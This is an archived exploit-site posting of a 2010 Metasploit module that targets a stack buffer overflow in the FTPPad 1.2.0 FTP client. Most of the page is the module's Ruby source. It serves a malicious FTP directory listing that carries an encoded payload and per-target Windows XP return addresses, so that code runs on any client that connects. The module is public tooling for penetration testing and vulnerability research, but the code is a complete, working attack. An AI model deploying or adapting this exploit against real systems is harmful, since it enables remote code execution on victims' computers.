what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

FTPPad 1.2.0 Stack Buffer Overflow

FTPPad 1.2.0 Stack Buffer Overflow
Posted Oct 13, 2010
Authored by corelanc0d3r | Site metasploit.com

This Metasploit module exploits a stack buffer overflow FTPPad 1.2.0 ftp client. The overflow is triggered when the client connects to a FTP server which sends an overly long directory and filename in response to a LIST command. This will cause an access violation, and will eventually overwrite the saved extended instruction pointer. Payload can be found at EDX+5c and ESI+5c, so a little pivot/ sniper was needed to make this one work.

tags | exploit, overflow
SHA-256 | 864c13b0bca680072f94df1e362ce6bb00e5d2748d610e1cebd0c43a1709a476

FTPPad 1.2.0 Stack Buffer Overflow

Change Mirror Download
##
# $Id: ftppad_list_reply.rb 10661 2010-10-12 18:40:13Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

class Metasploit3 < Msf::Exploit::Remote

include Exploit::Remote::FtpServer

def initialize(info = {})
super(update_info(info,
'Name' => 'FTPPad 1.2.0 Stack Buffer Overflow',
'Description' => %q{
This module exploits a stack buffer overflow FTPPad 1.2.0 ftp client. The overflow is
triggered when the client connects to a FTP server which sends an overly long directory
and filename in response to a LIST command.

This will cause an access violation, and will eventually overwrite the saved extended
instruction pointer. Payload can be found at EDX+5c and ESI+5c, so a little pivot/
sniper was needed to make this one work.
},
'Author' =>
[
'corelanc0d3r'
],
'License' => MSF_LICENSE,
'Version' => "$Revision: 10661 $",
'References' =>
[
[ 'URL', 'http://www.corelan.be:8800/index.php/2010/10/12/death-of-an-ftp-client/' ],
],
'DefaultOptions' =>
{
'EXITFUNC' => 'thread',
},
'Payload' =>
{
'Space' => 3000,
'BadChars' => "\x00\x0a\x2f\x5c\xff\x0c\x0d\x08\x09",
'DisableNops' => true,
},
'Platform' => 'win',
'Targets' =>
[
#shlwapi sniper + pivot : MOV DWORD PTR DS:[EDX],EAX + CALL ESI
[ 'XP SP3 Professional, English - shlwapi 6.00.2900.5912', { 'Ret' => 0x77FA6556 } ],
[ 'XP SP3 Professional, German - shlwapi 6.00.2900.5912' , { 'Ret' => 0x77f86556 } ],
[ 'XP SP3 Professional, English - shlwapi 6.00.2900.5512', { 'Ret' => 0x77FA6526 } ],
],
'Privileged' => false,
'DisclosureDate' => 'Oct 12 2010',
'DefaultTarget' => 0))

end

def setup
super
end

def on_client_unknown_command(c,cmd,arg)
c.put("200 OK\r\n")
end

def on_client_command_list(c,arg)
conn = establish_data_connection(c)
if(not conn)
c.put("425 Can't build data connection\r\n")
return
end
print_status(" - Data connection set up")
code = 150
c.put("#{code} Here comes the directory listing.\r\n")
code = 226
c.put("#{code} Directory send ok.\r\n")
totalsize = 13000
foldername = "A" * 24 + payload.encoded + ("A" * (3318-payload.encoded.length))
#EDX+5c and ESI+5c point at shellcode
#we control EAX and EIP
#use value in EAX to write to EDX (to make a jump forward, about 5c bytes)
#and then jump to ESI (which will then execute the jump forward, to payload)
foldername << [target.ret].pack('V') # MOV DWORD PTR DS:[EDX],EAX # ... # CALL ESI
foldername << "\x41\x41\x75\x5B" # EAX -> 75 5B = JNZ SHORT -> shellcode
foldername << " " * (totalsize - foldername.length)
print_status(" - Sending directory list via data connection")
dirlist = "drwxrwxrwx 1 100 0 11111 Jun 11 21:10 #{foldername}\r\n"
conn.put(dirlist + dirlist + dirlist + dirlist)
conn.close
return
end

end
Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    30 Files
  • 16
    Apr 16th
    10 Files
  • 17
    Apr 17th
    22 Files
  • 18
    Apr 18th
    45 Files
  • 19
    Apr 19th
    0 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    0 Files
  • 23
    Apr 23rd
    0 Files
  • 24
    Apr 24th
    0 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close